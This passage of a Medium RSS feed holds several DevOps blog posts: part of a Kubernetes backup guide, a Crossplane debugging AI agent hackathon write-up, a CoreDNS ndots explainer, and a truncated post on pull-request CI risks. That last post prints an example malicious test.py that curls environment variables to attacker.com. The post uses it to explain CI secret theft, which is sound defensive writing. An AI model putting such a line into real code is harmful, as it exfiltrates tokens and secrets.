S3<br>Every 1 hour      →  CSI Snapshots taken for all PVCs<br>Every 6 hours     →  Kopia backs up PV data to S3<br>Every 24 hours    →  etcd snapshot taken and stored securely<br>Continuously      →  ArgoCD reconciles Git desired state<br>Continuously      →  ESO syncs secrets from Secrets Manager<br>On every PR merge →  Git captures new desired state automatically</pre><p>This gives you:</p><ul><li><strong>RPO (Recovery Point Objective)</strong> as low as 15 minutes for K8s resources, 1 hour for volume snapshots, 6 hours for PV data</li><li><strong>RTO (Recovery Time Objective)</strong> minutes for CSI snapshot restore, hours for full cluster rebuild via GitOps + Velero + Kopia</li></ul><h3>Conculsion</h3><p>Kubernetes backup is not a checkbox it is a mindset shift.</p><p>The moment you stop asking <em>“which tool should I use?”</em> and start asking <em>“which layer am I missing?”</em> that is when you actually have a backup strategy worth trusting.</p><p>We covered a lot of ground in this blog <strong>etcd snapshots, Velero, Kopia, CSI Snapshots and GitOps.</strong> Each tool exists for a reason. Each layer fills a gap the others can’t. Together they give you something no single tool ever could <strong>complete coverage</strong>.</p><p>But knowing the strategy is only half the battle. The real test is <em>can you actually restore when everything goes wrong?</em></p><p>In the next blog we’ll take this exact layered strategy and walk through a <strong>real disaster recovery scenario</strong> cluster goes down, what do you restore first, in what order, and how long does it actually take in the real world.</p><p>Because a backup strategy you’ve never tested is just a theory.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=460a36194eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Crossplane Debugging AI Agent with kagent, kmcp, agentgateway]]></title>
            <link>https://medium.com/@shilu4577/building-a-crossplane-debugging-ai-agent-with-kagent-kmcp-agentgateway-ab24929d6bc0?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab24929d6bc0</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[kagent]]></category>
            <category><![CDATA[crossplane]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Fri, 03 Apr 2026 13:55:01 GMT</pubDate>
            <atom:updated>2026-04-03T13:56:27.950Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6KguNEwS6SaZlpk1MphxdA.png" /></figure><p>A broken MCP server.<br>A <strong>NotReady</strong> Crossplane resource.<br>And hours lost debugging something that should have taken minutes.</p><p>This hackathon project started with that frustration and turned into building an AI agent that can debug Crossplane infrastructure end-to-end.</p><h3>The Problem:</h3><p>If you’ve worked with Crossplane in production, you know the pain. An XR goes NotReady. You have no idea why. You run<strong> kubectl get xr</strong> and see <strong>Synced: False</strong>, then start digging through the events, conditions and provider logs, providerconfig secrets and composition pipelines and function health, chasing errors across 10 different resources just to find that <strong>credentials secret</strong> was deleted two days ago.</p><p>Platform engineers waste hours on this. Every Single Incident.</p><p>I wrote a <a href="https://medium.com/aws-in-plain-english/terraform-isnt-dying-but-platform-teams-are-done-with-it-755c0203fb79">blog post about this problem</a> earlier this year. This hackathon was my chance to build the solution.</p><h3>The Vision</h3><p>A Crossplane debugging AI agent that:</p><ul><li>Knows Crossplane v2 deeply, namespaced XR’s, namespaced MR’s, MRDs, Pipeline mode, Provider family architecture</li><li>Diagnoses root cause automatically not just <strong>kubectl describe wrappers</strong></li><li>Explains failures in plain <strong>English to developers </strong>who don’t know kubernetes internals.</li><li>Lives inside <strong>kubernetes as a native resource</strong></li></ul><h3>The Stack</h3><ul><li>kagent -&gt; kubernetes-native agent runtime</li><li>kmcp -&gt; MCP server scaffolding and deployment</li><li>agentgateway -&gt; security and observbility between agents and MCP servers</li><li>agentregistry -&gt; skills distribution (future)</li></ul><h3>Starting with kmcp</h3><p>The first step was building the <strong>MCP server</strong> , the bridge between the <strong>AI agent and the Kubernetes API.</strong></p><p><strong>kmcp</strong> made this easy. A single command scaffolded the entire <strong>Go project</strong>:</p><pre>kagent mcp init go crossplane-mcp - go-module-name github.com/shilucloud/crossplane-mcp</pre><p>This generated cmd/server/main.go, internal/tools, Dockerfile and kmcp.yaml everything needed to buid, run and deploy and MCP server to the kubernetes cluster, and running locally too.</p><p>The generated structure uses the official <strong>MCP Go SDK</strong> with a clean tool registration pattern:</p><pre>func init() { <br>  registerTool(DebugXR()) <br>}<br> func DebugXR() MCPTool[DebugXRParams, any] { <br>  return MCPTool[DebugXRParams, any]{<br>     Name: &quot;debug_xr&quot;, Description: &quot;Debug a Crossplane XR…&quot;, Handler: func(ctx context.Context, req *mcp.CallToolRequest, args DebugXRParams) (*mcp.CallToolResult, any, error) { // call your tool implementation }, }</pre><p>But here’s a quick update</p><p>Switched to using the official MCP Go SDK directly as it has matured with cleaner APIs like <strong>mcp.AddTool</strong>, making custom abstractions unnecessary.</p><h3>Building the Tools : The Hard Parts</h3><p>I built <strong>20 tools</strong> covering the full crosssplane debugging surface. The interesting onces:</p><ul><li><strong>debug_xr</strong> : <strong>the hero tool</strong></li></ul><p>This is where most of the value lives. Instead of just returning the raw conditions, it walks the full resource tree and diagnoses root causes</p><p><strong>XR =&gt; Composition =&gt; functions =&gt; MR’s =&gt; ProviderConfig =&gt; Secret</strong></p><p>It handles <strong>15+ failure cases</strong>:</p><ul><li>No composition selected</li><li>Cluster-scoped MR in namespaced XR (v2 specific)</li><li>RBAC forbidden (Crossplane SA missing permissions)</li><li>Function not installed</li><li>MRD inactive (v2 specific)</li><li>Credentials secret missing</li><li>Cross-resource reference not resolved</li><li>MissingParameter (e.g. vpcId for Subnet)</li><li>AccessDenied, AlreadyExists, LimitExceeded</li><li>Provider unhealthy</li><li>Usage blocking deletion</li><li>Function pipeline error</li></ul><p>Each diagnosis returns structured output:</p><pre>type Diagnosis struct {<br> RootCause string<br> Severity string // Critical, Warning, Info<br> AffectedPath string // XR → Composition → MR → ProviderConfig<br> SuggestedFix string<br> Details []string<br>}</pre><p><strong>build_dependency_graph : visual debugging</strong></p><p>This generates a visual tree that makes root cause obvious at a glance:</p><p>❌ my-network [XR]<br> ├── ✅ xnetworks-aws [Composition]<br> │ └── ✅ function-patch-and-transform [Function]<br> ├── ❌ Subnet/my-network-b2c2959e577a [ManagedResource]<br> │ └── ✅ aws-provider [ProviderConfig] — users: 1<br> │ └── ✅ correct-aws-cred [Secret]<br> └── ✅ VPC/my-network-381db10b3203 [ManagedResource]</p><p><strong>validate_xr : catch misconfigurations before they become incidents</strong></p><p>Validates an XR against its XRD schema and Composition:</p><ul><li>Missing required fields</li><li>Enum violations (invalid values)</li><li>Type mismatches</li><li>Invalid AWS regions</li><li>Value overrides vs composition defaults</li></ul><h3>The Vultr Challenge</h3><p>We deployed on a Vultr Kubernetes cluster and initially tried Vultr Serverless Inference for the LLM. We ran into tool calling compatibility issues. Vultr’s inference API had bugs with multi-turn tool call conversations, returning 500 errors on the second tool call.</p><p>We switched to Groq (free tier, llama-3.3–70b-versatile) which has excellent tool calling support and proved reliable throughout development.</p><h3>Wiring kagent</h3><p>With the MCP server running, wiring kagent was straightforward:</p><pre>apiVersion: kagent.dev/v1alpha2<br>kind: RemoteMCPServer<br>metadata:<br> name: crossplane-mcp<br> namespace: kagent<br>spec:<br> protocol: STREAMABLE_HTTP<br> url: http://agentgateway-proxy.agentgateway.svc.cluster.local:80/mcp<br> - -<br>apiVersion: kagent.dev/v1alpha2<br>kind: Agent<br>metadata:<br> name: crossplane-agent<br> namespace: kagent<br>spec:<br> declarative:<br> modelConfig: default-model-config<br> tools:<br> - type: McpServer<br> mcpServer:<br> name: crossplane-mcp<br> toolNames: [20 tools…]<br> requireApproval:<br> - annotate_reconcile # only write operation requires human approval</pre><p>The <strong>required_approval fiel</strong>d is critical it means the agent cannot trigger reconciliation without the user explicitly approving. Human-in-the-loop for write operations.</p><h3>Adding agentgateway</h3><p>Every tool call between kagent and the MCP server now flows through agentgateway:</p><p><strong>kagent engine<br> ↓<br>agentgateway proxy ← observability, CORS, security<br> ↓<br>crossplane-mcp server<br> ↓<br>Kubernetes API</strong></p><p>agentgateway logs every MCP operation:</p><pre>info request gateway=agentgateway/agentgateway-proxy<br> protocol=mcp mcp.method.name=tools/call<br> mcp.resource.type=tool duration=36ms http.status=&quot;200&quot;</pre><p>This means every tool call <strong>debug_xr, get_provider_health, list_xrs</strong> is logged with timing, session ID, and status. Full audit trail.</p><p>We also added CORS support so the MCP inspector can connect directly to agentgateway for testing:</p><pre>apiVersion: agentgateway.dev/v1alpha1<br>kind: AgentgatewayPolicy<br>metadata:<br> name: crossplane-mcp-cors<br>spec:<br> traffic:<br> cors:<br> allowOrigins: [&quot;*&quot;]<br> allowMethods: [GET, POST, DELETE, OPTIONS]<br> exposeHeaders: [Mcp-Session-Id]</pre><h3>What the Agent Can Do</h3><p>The agent handles real Crossplane debugging scenarios end-to-end:</p><h4><strong>1. Scenario: Developer asks why their bucket isn’t ready</strong></h4><p><strong>User</strong>: “why is my bucket-broken-creds not ready?”</p><p><strong>Agent</strong>:<br>1. Calls list_xrs → finds XBucket in default namespace<br>2. Calls debug_xr → walks full resource tree<br>3. Diagnosis:<br> <strong>Severity</strong>: Critical<br> <strong>Root Cause</strong>: Credentials secret ‘aws-creds’ referenced by <br> ProviderConfig ‘aws-provider’ does not exist<br> Affected Path: bucket-broken-creds → Bucket/xyz → ProviderConfig/aws-provider → Secret/aws-creds<br><strong> Suggested Fix</strong>: kubectl create secret generic aws-creds -n default <br> — from-file=credentials=./creds.txt</p><h4><strong>2. Scenario: Invalid region</strong></h4><p><strong>User</strong>: “I set region eu-east-1 on my network, is that right?”</p><p><strong>Agent</strong>:<br>1. Calls validate_xr<br>2. Returns: INVALID REGION: eu-east-1 is not a valid AWS region<br> Overrides composition default ap-south-1</p><h4><strong>3. Scenario: Cluster overview</strong></h4><p><strong>User</strong>: “show me all my XRs, XRDs, and compositions as a table”</p><p><strong>Agent</strong>:<br>1. Calls list_xrs, list_xrds, list_compositions in parallel<br>2. Returns formatted tables with status for each</p><h3>What We Would Have Done With More Time</h3><h4><strong>agentregistry skill distribution</strong></h4><p>The vision is to package our Crossplane debugging skills as OCI images:</p><pre># anyone running Crossplane could do:<br>kubectl apply -f agent.yaml<br># pulls crossplane-debug:v1.0 from agentregistry automatically</pre><p>We designed 10 focused skills <strong>diagnose-xr, diagnose-provider, explain-infrastructure, visualize-infrastructure, fix-and-reconcile and more</strong> each containing specialized instructions for a specific debugging scenario.</p><h4><strong>Multi-agent architecture</strong></h4><p>Instead of one agent with 20 tools, route to specialist sub-agents:</p><p>crossplane-orchestrator<br> ├── diagnose-xr-agent (4 tools)<br> ├── diagnose-provider-agent (3 tools)<br> ├── explain-agent (3 tools)<br> └── remediate-agent (3 tools)</p><p>Each sub-agent has a tiny context 3–4 tools instead of 20 making the LLM more focused and reducing token usage by 5x. We prototyped this but ran out of time to stabilize it.</p><h4><strong>Tracing with Jaeger</strong></h4><p>Deploy Jaeger and configure agentgateway TrafficPolicy for distributed tracing every tool call with full timing breakdown visible in Jaeger UI.</p><h3>Architecture Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JUlp942Lbh731MCt9zokOg.png" /></figure><h3>GitHub</h3><ul><li>MCP Server: <a href="https://github.com/shilucloud/crossplane-mcp-server">github.com/shilucloud/crossplane-mcp-server</a></li><li>Agent Manifests: <a href="https://github.com/shilucloud/crossplane-agent">github.com/shilucloud/crossplane-agent</a></li></ul><h3>Closing</h3><p>The Crossplane debugging problem is real. Platform engineers spend hours on incidents that could be resolved in minutes with the right tooling. This agent is a step toward making Crossplane infrastructure self-diagnosing.</p><p>The combination of kagent + kmcp + agentgateway gives you a production-grade foundation Kubernetes-native, secure, observable, and extensible. agentregistry and skills-based routing are the natural next steps.</p><p>If you’re running Crossplane in production and want to try this the live cluster is open. Break something and watch the agent diagnose it.</p><p><em>Built for MCP_HACK//26 Building Agents for favorite cloud native project</em> <em>track</em> <em>Solo.io × kagent × agentgateway × kmcp</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab24929d6bc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ndots:5 The Kubernetes Default That’s Silently Slowing Your Services]]></title>
            <link>https://aws.plainenglish.io/ndots-5-the-kubernetes-default-thats-silently-slowing-your-services-ca92c877e349?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca92c877e349</guid>
            <category><![CDATA[cloud-native]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Wed, 01 Apr 2026 01:32:25 GMT</pubDate>
            <atom:updated>2026-04-01T02:09:38.333Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lIU4YxxwZCoER6miXgogUw.png" /></figure><p>You know Kubernetes. You’ve seen DNS fail at 2am.</p><p>Here’s what’s actually happening from the trailing dot nobody talks about to the hidden 4-query tax on every external call.</p><h3><strong>The Mental Model: DNS is a Right-to-Left Walk</strong></h3><p>Before touching a single kubernetes concept, get this hierarchy sharp in your head, because CoreDNS maps directly onto it.</p><p>Take <strong>api.internal.shilu.cloud. </strong>the trailing dot is the root. Resolution walks right to the left, one label at a time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*BnltiXKzuQcXZSLy75eeXg.png" /></figure><p>Each server has three possible reponses <strong>answer</strong> (record lives in its zone file) or <strong>refer</strong> (hand back an NS record pointing to whoever is responsible below), or <strong>NXDOMAIN</strong> (the domain does not exist). It <strong>never guesses</strong>. It never looks further than its own zone file and no record for the query.</p><p>A <strong>zone file</strong> is like a <strong>telephone book</strong> for a <strong>domain</strong>. It contains all DNS records <strong>A, AAAA, MX, TXT, NS, and CNAME</strong> for shilu.cloud and its subdomains.</p><p>The server hosting this file is authoritative for that zone.</p><p>For example, the <strong>zone file for shilu.clou</strong>d might contain:</p><pre>$TTL 3600<br>@   IN  SOA ns1.shilu.cloud. admin.shilu.cloud. (<br>        2026033101 ; Serial<br>        3600       ; Refresh (1 hour)<br>        1800       ; Retry (30 minutes)<br>        1209600    ; Expire (2 weeks)<br>        3600       ; Minimum TTL (1 hour)<br>)<br><br>; Name servers<br>@       IN  NS      ns1.shilu.cloud.<br>@       IN  NS      ns2.shilu.cloud.<br><br>; A records (IPv4)<br>@       IN  A       192.0.2.10<br>ns1     IN  A       192.0.2.11<br>ns2     IN  A       192.0.2.12<br>api     IN  A       192.0.2.20<br>www     IN  A       192.0.2.30</pre><p>When you delegate a subdomain say <strong>internal.shilu.cloud</strong> you add a <strong>NS record in the parent zone file</strong> (<strong>shilu.cloud zone fil</strong>e) that points to <strong>different server.</strong> That server gets its own zone file and maintains its own DNS records for that domain. This Boundary is called a<strong> Zone Cut</strong>. The parent does’nt know or care what records live inside the child, It just knows who to point to.</p><p>The recursive resolve (like 8.8.8.8 ) in the <strong>one chasing every referral hop by hop.</strong> Your client just waits for the dns result.</p><h3>CoreDNS: One Server, Three Roles</h3><p>On the public internet, root servers, TLD servers, and authoritative servers are separate systems that handle DNS queries.</p><p>In Kubernetes, CoreDNS collapses all three roles into a single process running within the cluster.</p><p>CoreDNS is a general-purpose, plugin-based, in-memory DNS server configured using a Corefile.</p><p>A Typical Corefile:</p><pre>.:53 {<br>   errors<br>   health<br>   kubernetes cluster.local in-addr.arpa ip6.arpa {<br>     pods insecure<br>     fallthrough in-addr.arpa ip6.arpa<br>   }<br>   forward . /etc/resolv.conf<br>   cache 30<br>   reload<br>   loadbalance<br>}</pre><p>CoreDNS can handle multiple zones across different domains. Each zone has its own set of plugins, which are executed sequentially.</p><p>That <strong>.:53 block</strong> makes a CoreDNS handles the <strong>root zone</strong> every query enters here. It then acts as:</p><ul><li><strong>Root entry point</strong>: for all queries via the .zone</li><li><strong>Authoriativ</strong>e: answers definitively for cluster.local via kubeneretes plugin</li><li><strong>Forwarder</strong>: passes anything it can’t answer to upstream via the forward plugin</li></ul><p>The <em>plugin chain processes every query in order</em>. If kubernetes plugin matches it <em>answer immediately from the memor</em>y. If not forward sends it upstream, which then does the <strong>real publid root -&gt; TLD -&gt; authoriative walk on the internet.</strong></p><p>For an external name like shilu.cloud, CoreDNS is just a pass-through It forward to 8.8.8.8 the answer comes back, CoreDNS caches it, returns it to the pod.</p><h3>Zone Files and What kubernetes Plugin Replaces</h3><p>A <strong>traditional Authoritative server</strong> reads from a <strong>static zone file on a disk</strong>. CoreDNS’s kubernetes plugin throws this model entirely out.</p><p>Instead of a file, it watches the<strong> kubernetes API server for a service and endpoints events.</strong> The same mechanism as <strong>kubectl get svc -w</strong>. Every event triggers an in-memory update to the <strong>cluster.local zone:</strong></p><pre>Service created: my-svc in namespace default<br>→ my-svc.default.svc.cluster.local. A 10.96.0.10<br><br>StatefulSet pod created: web-0<br>→ web-0.my-svc.default.svc.cluster.local. A 10.0.0.5<br><br>Service deleted<br>→ record removed instantly, no reload needed</pre><blockquote><em>The API server is the zone file. CoreDNS just keeps up with it in real time.</em></blockquote><p>When you configure <strong>kubernetes cluster.local in the Corefile</strong>, you are enabling the Kubernetes plugin for the<strong> cluster.local zon</strong>e.</p><p>This tells the plugin: “You are authoritative for the <strong>cluster.local domain</strong>. Continuously watch the Kubernetes API server and dynamically create DNS records in memory for every service and pod. So CoreDNS kubernetes plugin watches the services and pod created and it creates, updates, and deletes the DNS records in the memory automatically unlike in traditional Zone file we need to handle all these.</p><p>The only time you’d use a real zone file with CoreDNS is for custom static zone and internal domain kubernetes does’nt manages.</p><pre>mycompany.internal:53<br>{ <br>  file /etc/coredns/mycompany.db <br>} <br>cluster.local:53 <br>{ <br>  kubernetes cluster.local <br>} <br>.:53 <br>{ <br>  forward . 8.8.8.8 <br>}</pre><p>CoreDNS matches the <strong>most specific zone first, the longest suffix wins</strong>. So the order in the Corefile is every much important. A <strong>query</strong> for <strong>api.mycompany.internal</strong> hits the <strong>first</strong> block. <strong>my-svc.default.svc.cluster.local</strong> hists the <strong>second</strong>. Everything else <strong>falls</strong> to <strong>forward</strong>.</p><h3>Kubelet Wiring DNS into Every Pod.</h3><p>CoreDNS runs as a pod in kube-system. But how does every other pod know to use it? thats <strong>kubelet jo</strong>b.</p><p>CoreDNS, using the <strong>Kubernetes plugin</strong>, watches the Kubernetes API and dynamically adds, updates, and deletes DNS records as services and pods are created, updated, or removed.</p><p>Kubelet knows two things set a cluster bootstrap: <strong>CoreDNS clusterIP( — cluster-dns </strong>, <strong>typically 10.96.0.10)</strong> and the <strong>cluster domain ( — cluster-domain, default cluster.local). </strong>When it creates a pod, it generates a <strong>/etc/resolv.conf file</strong> and mounts it to <strong>each pod</strong>. What goes in <strong>/etc/resolv.conf</strong> is depends on <strong>dnsPolicy</strong> and <strong>dnsConfig</strong> fields in <strong>pod.spec</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*eCbwJQCUK4WLVOump5pRtw.png" /></figure><p>For a pod in default namespace with ClusterFirst, the mounted resolv.conf looks like:</p><pre>nameserver 10.99.0.10<br>search default.svc.cluster.local svc.cluster.local cluster.local<br>options ndots:5</pre><p><strong>with dnsPolicy:</strong> None, kubelet writes nothing, you own the entire configuration <strong>via dnsConfig</strong>:</p><pre>spec:<br>  dnsPolicy: None<br>  dnsConfig:<br>    nameservers:<br>      - 1.1.1.1<br>    searches:<br>      - mycompany.internal<br>    options:<br>      - name: ndots<br>        value: &quot;2&quot;</pre><h3>The ndots:5 Footgun</h3><p>This is the part that bites every team eventually, usually as mysterious latency nobody can explain.</p><p><strong>ndots:5</strong> tells a <strong>resolver inside a pod</strong>, if the <strong>query has fewer dots than 5 dots</strong> eg: shilu.cloud, treat it as a PQDN (Partially Qualified Domain Name) and try <strong>appending</strong> each <strong>search domains</strong> to the query before attempting it as-is.</p><p>for internal names this is great, my-svc (0 dots) in the dns query and it expands to <strong>my-svc.prod.svc.cluster.local</strong> and will be resolves on the <strong>first try.</strong></p><p>But for external names like <strong>shilu.cloud</strong>, it‘’s a<strong> silent tax</strong>, shilu.cloud has just 1 dot, under the threshold of 5:</p><pre>shilu.cloud.default.svc.cluster.local -&gt; NXDOMAIN<br>shilu.cloud.svc.cluster.local -&gt; NXDOMAIN<br>shilu.cloud.cluster.local -&gt; NXDOMAIN <br>shilu.cloud. -&gt; forwarded to upstream -&gt; resolved.</pre><p>That’s <strong>4 DNS queries</strong> for <strong>what should have been 1</strong>. Each NXDOMAIN is a fully round trip to CoreDNS. In a high throughtput service making many external calls, this adds up silently.</p><p>You need to enable logging in the Corefile, which is stored as a ConfigMap named <strong>coredns</strong> in the <strong>kube-system namespace.</strong></p><pre># terminal 1 - stream CoreDNS logs<br>kubectl logs -n kube-system -l k8s-app=kube-dns -f<br># terminal 2 - trigger a lookup from inside a pod<br>kubectl run dns-debug \<br>  --image=tutum/dnsutils \<br>  -it --rm \<br>  --restart=Never \<br>  -- sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPpkCepNEZ4nX5yF37NNmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgpQaHSoJIpWQsxqm0LkvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ufq6P7_ja2yTyy1bA292jw.png" /></figure><p>You’ll see all 4 queries fire in terminal 1 in real time. Once you see it you can’t unsee it.</p><h3>Fix 1: trailing dot (FQDN)</h3><p>A trailing dot signals an absolute name. The resolver skips expansion entirely and sends exactly one query:</p><pre>shilu.cloud. ← FQDN, 1 query, no expansion<br>shilu.cloud  ← PQDN, 4 queries with ndots:5</pre><h3>Fix 2: Lower ndots in dnsConfig</h3><p>Most Production clusters drop <strong>ndots to 2</strong>. Names with <strong>2+ dots</strong> are treated as <strong>absolute</strong>. Short internal names still work because they’re in the same domain list</p><pre>dnsConfig:<br>  options:<br>    - name: ndots<br>      value: &quot;2&quot;</pre><p>However, <strong>lowering ndots</strong> does not fully <strong>eliminate search domain expansion.</strong> It only changes the <strong>resolution order.</strong></p><p>If a query contains dots <strong>equal to or greater than the ndots value</strong>, the resolver <strong>first tries it as an absolute name</strong>. If that <strong>fails</strong>, it falls back to <strong>search domain expansion</strong>.</p><p>Example:</p><p>With ndots:2, a query <strong>like internal.shilu.cloud is first attempted as an absolute name</strong>. If it fails, the resolver <strong>expands it using the search domains:</strong></p><pre>internal.shilu.cloud.prod.svc.cluster.local <br>internal.shilu.cloud.svc.cluster.local <br>internal.shilu.cloud.cluster.local</pre><p>So the difference between greater or equal ndots and lesser ndots is when it search for the FQDN.</p><p>So only way to evade the search expansion entirely is using trailing dots internal.shilu.cloud.(if no answer fails immediately with no search expansion).</p><p>The key difference lies in when the resolver attempts the absolute query.</p><p>If a query has <strong>dots greater than or equal to ndots</strong>, it is tried as a <strong>fully qualified domain name (FQDN) first</strong>. Otherwise, search domain expansion is applied before attempting the absolute query.</p><p>To completely avoid search domain expansion, you must use a trailing dot:</p><p><strong><em>internal.shilu.cloud.</em></strong></p><p>This forces the resolver to treat the query as absolute, skipping all search domain attempts.</p><h3>Zone Anatomy: What Records CoreDNS Creates</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*rolkuQisHwvGC0gu5AW7Kw.png" /></figure><p>For <strong>headless services</strong> (ClusterIP: None), CoreDNS returns individual pod IPs instead of a single VIP(VirtualIP), which is how StatefulSets get stable per-pod DNS identities.</p><h3>One Thing to Change Today</h3><p>Check your pods right now:</p><pre>kubectl exec -it &lt;pod&gt; -- cat /etc/resolv.conf</pre><p>If you see <strong>ndots: 5</strong> and your <strong>app</strong> makes any <strong>external HTTP calls</strong> , you&#39;re paying the <strong>4-query tax on every single reques</strong>t. It won&#39;t show up in your app traces. It won&#39;t alert. It&#39;s just there, quietly adding latency and hammering CoreDNS every time your service calls out to the internet.</p><p>Drop it to <strong>2</strong> via <strong>dnsConfig</strong>, or use a <strong>mutating webhook</strong> to inject it cluster-wide automatically when pod manifest are applied.</p><p>Have you seen this in production? Or solved it differently? Let me know. I’d like to hear how others are handling it.</p><p>If you found this useful, share it with your team.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca92c877e349" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/ndots-5-the-kubernetes-default-thats-silently-slowing-your-services-ca92c877e349">ndots:5 The Kubernetes Default That’s Silently Slowing Your Services</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Pull Request Is Executing Code Before You Review It]]></title>
            <link>https://blog.stackademic.com/your-pull-request-is-executing-code-before-you-review-it-8c3ecb0966df?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c3ecb0966df</guid>
            <category><![CDATA[github-actions]]></category>
            <category><![CDATA[github]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 14:06:33 GMT</pubDate>
            <atom:updated>2026-03-27T10:27:17.932Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*liMmmuodJ0Snei2IIpGzqw.png" /></figure><p>Most developers think a pull request is just a request to merge code.</p><p>It is not. It is also a request to execute code on your infrastructure.</p><p>The moment a PR is opened, your <strong>CI pipelin</strong>e spins up a runner, checks out the code, installs dependencies, and runs scripts, all before anyone clicks <strong>“Approve”</strong>. This turns your pipeline into something far more powerful and dangerous than most teams realize a<strong> remote code execution system</strong> exposed to anyone who can open a pull request.</p><p>This exact behavior was exploited in the recent <strong>Trivy supply chain attack</strong>, where attackers did not need to break into any server. They simply got their code executed through a pull request.</p><p>In this article we will cover:</p><ul><li>What actually happens when a PR is opened</li><li>Why “not merged yet” does not mean safe</li><li>How CI pipelines end up executing attacker-controlled code</li><li>How a single misconfiguration can turn this into full repository compromise</li></ul><h3>What actually happens when you open a PR</h3><p>To understand why this is dangerous, you need to understand what really happens the moment a PR is opened.</p><p>You create a feature branch from the base branch:</p><pre>git switch -c feature/login<br># make your changes<br>git commit -m &quot;added login flow&quot;<br>git push origin feature/login</pre><p>You open a pull request to merge <strong>feature/login</strong> into <strong>main</strong>. At this point, most developers think the story ends the code sits there waiting for review.</p><p>It does not. Your CI pipeline starts immediately.</p><h4>GitHub Actions (and most CI systems) will:</h4><ol><li>Spin up a fresh runner (a fresh VM or container)</li><li>Check out the repository code including your PR branch</li><li>Install dependencies</li><li>Execute scripts builds, tests, linters</li></ol><p>Here is the key part: <strong>the code being executed is the code from your PR, not from main.</strong></p><pre>on:<br>  pull_request:<br>jobs:<br>  test:<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v3<br>      - run: python test.py   # runs the PR&#39;s version of test.py</pre><p>If <strong>test.py</strong> was modified in the <strong>PR</strong>, this workflow executes that modified version. Not the reviewed version. Not the merged version. The PR version right now.</p><p>A pull request is not just a code review mechanism. It is a code execution trigger.</p><h3>It is not merged yet, so it is safe destroying that assumption</h3><p>Here is the misconception most developers carry:</p><ul><li>Even if CI runs the code, it is not in main yet. So it is still contained.</li></ul><p>This is exactly what attackers rely on.</p><p>The problem is not where the code lives. The problem is that the code is executed at all.</p><p>When a CI pipeline runs, it does not check whether the code is merged. It simply checks out the code and runs it. If that code is malicious, it will execute merged or not.</p><p>Consider a simple example. Your repository has a script:</p><pre># test.py  (original)<br>run_tests()</pre><p>Your CI runs it on every PR:</p><pre>- run: python test.py</pre><p>An attacker opens a PR with this change:</p><pre># test.py  (attacker&#39;s version)<br>run_tests()<br><br>import os<br>import subprocess<br>subprocess.run([&quot;curl&quot;, &quot;-X&quot;, &quot;POST&quot;, &quot;https://attacker.com/collect&quot;,<br>                &quot;--data&quot;, f&quot;env={os.environ}&quot;])</pre><p>What happens the moment that PR is opened:</p><ol><li>CI picks up the changed code</li><li>Runs <strong>python test.py</strong></li><li>Executes the malicious code</li><li>All environment variables including any tokens are sent to the attacker’s server</li></ol><p><strong><em>The PR is never merged. The damage is already done.</em></strong></p><p>Merge and CI execution are completely independent:</p><ul><li>Action What it does Merge Code becomes part of main CI execution Code gets run right now</li><li>A pull request does not need to be merged to be dangerous. It just needs to be executed.</li></ul><p>In fact, many CI systems simulate a merge internally to test compatibility combining the PR branch with the base branch to catch conflicts. This merged result still includes the attacker’s changes. <strong>Whether it is the raw PR branch or a simulated merge commit</strong>, the result is the same: attacker-controlled code gets executed.</p><h3>When CI has access to tokens and secrets</h3><p>At this point you might think: <em>“Fine, the code runs but it should not have access to anything sensitive.”</em></p><p>This is where things get significantly worse but it depends on how your workflow is configured.</p><p>CI <strong>pipelines</strong> do not just run code. They run with credentials.</p><p>In GitHub Actions, every workflow run automatically receives a token:</p><pre>$GITHUB_TOKEN   # automatically injected into every runner</pre><p>Depending on how it is configured, this token can:</p><ul><li>Read repository contents</li><li>Push commits</li><li>Create or delete releases</li><li>Modify pull requests</li><li>Trigger other workflows</li><li>Open an issue</li></ul><h4>The critical distinction: which trigger are you using?</h4><p>This is where most teams make a dangerous assumption and it is worth being precise.</p><p><strong>With pull_request (the default safe trigger):</strong></p><p>GitHub automatically blocks repository secrets from being injected into workflows triggered by <strong>fork PR</strong>s. So even if attacker code runs and tries to steal <strong>$GITHUB_TOKEN</strong> 